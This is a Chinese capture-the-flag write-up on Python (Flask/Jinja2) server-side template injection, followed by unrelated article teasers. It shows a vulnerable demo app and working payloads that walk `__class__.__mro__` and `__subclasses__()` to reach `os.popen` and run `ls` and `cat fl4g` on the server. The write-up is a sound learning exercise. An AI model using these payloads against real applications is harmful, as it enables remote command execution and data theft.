攻防世界-web-Web_python_template_injection

news2024/11/19 8:52:24

题目描述:只有一句话,翻译出来时python模板注入

1. 思路分析

1.1 什么是python模板注入?

做这道题之前我也不知道什么是python模板注入,问了下chatgpt,回答是这样的:

回答很简洁,举个例子,假设有如下服务端代码:

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/')
def index():
    template_input = request.args.get('template')
    return render_template_string(template_input)

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=8888, debug=True)

我们将模板内容传递到服务端,服务端会执行模板内容中的代码,比如我们传入一条{{ 7 * 7}}的模板参数,发现返回值为49,说明什么?说明 7 * 7这条指令已经在服务端执行了

这就是python模板注入的基本原理。

1.2 如何利用python模板注入

原理清楚了,那么如何利用呢?基本利用思路是:利用python对象的继承,用魔术方法一步步找到可利用的方法去执行。

步骤为:

1. 寻找父类

2. 寻找子类

3. 寻找命令执行或者文件操作相关的模块

基本的魔术方法有以下几种:

1. __class__:返回类型所属的对象

 

2. __mro__:    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。


3. __base__   返回该对象所继承的基类

4. __subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表


5. __init__  类的初始化方法
6. __globals__  对包含函数全局变量的字典的引用(这里我本地搭建的环境显示不出来,用题目的环境),通过这个可以找到我们想要的函数模块进行调用

 了解以上知识后,该题目解法就很清晰了,通过以上魔术方法找到os模块和file模块进行命令执行即可

2. 解题过程

1. 找到能够执行文件读取和命令执行的类:{{''.__class__.__mro__[2].__subclasses__()}}。一个是file,一个是site.Printer

2. 利用site.Printer的os模块执行命令:{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}

3. 可以看到当前目录下有个fl4g,执行cat fl4g即可:{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}}

拿到flag为:ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}

总结:这道题考察的是Python模板注入的知识,比较简单,对模板注入有一些基本的了解就可以了,本题题目是其次,最大的收获是对Python模板注入的知识有了初步的了解

 

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/654071.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

AUTOSAR 架构下的SPI模块的理解

一、SPI模块 1、模块简介 SPI处理程序/驱动程序为单片SPI [串行外设接口]处理程序/驱动程序提供功能和API。该软件模块包括处理和驱动功能。这种单片SPI处理器/驱动器的主要目标是充分利用每个微控制器的功能,并根据静态配置实现优化,以尽可能地满足ECU…

医疗虚拟仿真和虚拟现实有什么区别?哪个更好?

随着我们在仿真教育中越来越多地使用新技术,区分虚拟模式的类型很重要。虚拟仿真是一个统称,用来概括术语来描述各种基于仿真的体验,从基于屏幕的平台到沉浸式虚拟现实。然而,各虚拟平台在保真度、沉浸感和临场感的水平上有很大差…

java 调用 opencv 识别图片

前言 opencv 的 github 地址 opencv 官网 本文介绍如何使用 java 来调用 opencv 下载opencv opencv下载 页面根据自己电脑操作系统下载最新的安装包,我这里下载的是 4.7.0 版本。 (4.7.0 版本里的 opencv-470.jar 包是使用 jdk11 编译的&#xff0c…

从0到1ES集群搭建实践

ES集群搭建实践 创建虚拟机 创建Linux新用户elastic 必须信息 使用elasticsearch账号操作:启动,关闭等 配置网卡信息 vi /etc/sysconfig/network-scripts/ifcfg-ens33TYPE"Ethernet" PROXY_METHOD"none" BROWSER_ONLY"no…

pytorch笔记:transformer

来自B站视频,API查阅,TORCH.NN seq2seq 可以是 CNN,RNN,transformer nn.Transformer 关键源码: encoder_layer TransformerEncoderLayer(d_model, nhead, dim_feedforward, dropout,activation, layer_norm_eps, ba…

Github官网进不去怎么办?Github无法访问怎么办?

1.操作方法: 打开hosts文件,可能需要管理员权限。 win10 hosts位置:C:\Windows\System32\drivers\etc 在末尾新建一行,添加如下内容: 2.1方法一 Host文件追加 140.82.112.26 alive.github.com140.82.114.25 live.…

【electron】 客户端调试小技巧

1、谷歌浏览器输入:chrome://inspect打开开发者工具 可以方便拦截electron内的请求,也可以通过f12的开发者工具中的source打断点。 虽然在electron客户端内也能审查元素。 PS:但是其有局限性,如果是窗体套窗体(webview)&#xff…

Android——基本控件(十)

1. 图片视图:ImageView 1.1 知识点 (1)掌握ImageView组件的使用; (2)掌握图片的保存; 1.2 具体内容 之前我们讲过了RadioGroup是提供了一个存放RadioButton的一个容器,ImageVie…

STM32速成笔记—中断

文章目录 一、什么是中断二、中断的相关概念2.1 中断优先级2.2 中断嵌套2.3 中断服务函数2.4 中断标志位 三、外部中断EXIT四、中断程序配置4.1 设置中断分组并使能中断4.2 初始化EXIT4.3 编写中断服务函数 五、注意事项 一、什么是中断 首先介绍一下什么是中断。在实际开发过…

OpenCV 笔记_2

文章目录 笔记_2图像尺寸变换resize 图像缩放 (重置图像大小)flip 图像翻转hconcat 横向连接vconcat 纵向连接 图像方式变换warpAffine 仿射变换函数:矩阵M(2*3)getRotationMatrix2D 获取图像旋转矩阵M:矩阵M&#xff…

电脑出现MSVCP100.dll丢失错误怎么办?

MSVCP100.dll是一个Windows系统文件,它可以确保Windows程序正确平稳运行,如果该文件安装不正确、丢失或损坏,则使用该文件的应用程序将无法正常启动,会出现“无法启动此程序,因为计算机中丢失MSVCP100.dll”的错误提示…

OpenCV 笔记_4

文章目录 笔记_4图像细化thinning 图像细化函数 轮廓检测findContours 轮廓检测函数drawContours 轮廓绘制函数contourArea 计算轮廓面积:返回值 double类型arcLength 计算轮廓长度:返回值 double类型 轮廓外接多边形boundingRect 给定轮廓的外接矩形min…

Hook攻防之InlineHook

什么是InlineHook Inline Hook,又称为超级Hook,是一种强大而又灵活的Hook技术。 Inline Hook的主要思想就是直接修改目标函数的代码,通常是在目标函数的开头插入一个跳转指令(jmp)。这个跳转指令会将程序的执行流跳转…

PPT写作要义:信息效率

PPT写作的要义:信息效率 抖音里一个有货的讲师的总结 花里胡哨的PPT一定偏离了初衷 这点上要像互联网公司学习 其实有些PPT制作的初衷,就是搞神秘感 故意让人听不懂 趣讲大白话:大道至简 【趣讲信息科技198期】 ****************************…

基于Java绿色农产品推广应用网站设计实现(源码+lw+部署文档+讲解等)

博主介绍: ✌全网粉丝30W,csdn特邀作者、博客专家、CSDN新星计划导师、java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战 ✌ 🍅 文末获取源码联系 🍅 👇🏻 精…

CRC原理

文章目录 简介 CRC思想错误检测基本思想多项式运算没有进位的二进制计算 CRC计算方式发送方计算接收方校验多项式选择 CRC实现原理CRC8整体处理数据单个处理数据与整体数据处理比较使用查找表加速计算 扩展到CRC16整体处理数据单个处理数据与整体数据处理比较使用查找表加速计算…

项目管理中,如何实现有效的项目预算管理?

在《PMBOK指南》第七版中,变化较大的一点是从以成果为导向演变为以价值为导向,其十二项指导原则之一——“聚焦于价值”也阐述了价值是项目的最终成功指标和驱动因素。在这一指导原则下,项目经理就不能只关注在范围、进度、成本三重要素约束下…

UmiJs - 拆包优化

UmiJs - 拆包优化 前言一. 如何拆包,怎么拆1.1 分析自己项目的编译产物结构1.2 开始拆包 二. 有哪些注意点2.1 样式丢失2.2 存在需单独打包的页面 前言 我们在写前端代码的时候,难以避免的是,我们可能引入的依赖越来越多。那么随之而来的&am…

Redis入门 - Lua脚本

原文首更地址,阅读效果更佳! Redis入门 - Lua脚本 | CoderMast编程桅杆https://www.codermast.com/database/redis/redis-scription.html Redis 脚本使用 Lua 解释器来执行脚本。 Redis 2.6 版本通过内嵌支持 Lua 环境。执行脚本的常用命令为 EVAL。 …

【Golang系列】Golang环境配置和第一个Go程序

⭐️前面的话⭐️ 本篇文章将介绍Golang语言的环境配置,以及如何在VS code中运行第一个golang程序。 📒博客主页:未见花闻的博客主页 🎉欢迎关注🔎点赞👍收藏⭐️留言📝 📌本文由未…